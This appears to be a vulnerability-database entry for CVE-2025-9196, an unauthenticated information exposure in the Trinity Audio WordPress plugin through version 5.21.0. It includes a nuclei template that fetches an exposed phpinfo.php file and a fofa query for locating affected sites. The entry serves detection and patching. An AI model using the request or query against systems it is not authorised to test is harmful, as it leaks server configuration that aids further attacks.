HexBrain

Browse / CVEs / CVE-2025-9196

CVE-2025-9196· sergiotrinity / trinity-audio· CWE-200

Trinity Audio <= 5.21.0 - Information Exposure

mediumseverity
5.3CVSS score
1%likelihood of exploitation, next 30 days
63%of all CVEs are less likely
Readycheck to confirm it

The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.

Impact

Unauthenticated attackers can extract sensitive configuration data, potentially aiding further attacks.

Fix

Update to the latest version beyond 5.21.0.

How to confirm it

Send: GET /wp-content/plugins/trinity-audio/admin/inc/phpinfo.php
Positive when: contains_all(body, "PHP Version", "PHP Extension","trinity-audio") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-9196 -u <target>

The full check
id: CVE-2025-9196

info:
  name: Trinity Audio <= 5.21.0 - Information Exposure
  author: Kazgangap
  severity: medium
  description: |
    The Trinity Audio Text to Speech AI audio player to convert content into audio plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 5.21.0 via the ~/admin/inc/phpinfo.php file that gets created on install. This makes it possible for unauthenticated attackers to extract sensitive data including configuration data.
  impact: |
    Unauthenticated attackers can extract sensitive configuration data, potentially aiding further attacks.
  remediation: |
    Update to the latest version beyond 5.21.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/trinity-audio/trinity-audio-5210-unauthenticated-information-exposure
    - https://nvd.nist.gov/vuln/detail/CVE-2025-9196
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-9196
    cwe-id: CWE-200
    epss-score: 0.01005
    epss-percentile: 0.63256
  metadata:
    verified: true
    max-request: 1
    vendor: sergiotrinity
    product: trinity-audio
    framework: wordpress
    fofa-query: body="/wp-content/plugins/trinity-audio"
  tags: cve,cve2025,wp-plugin,wordpress,trinity-audio,exposure,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/trinity-audio/admin/inc/phpinfo.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "PHP Version", "PHP Extension","trinity-audio")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from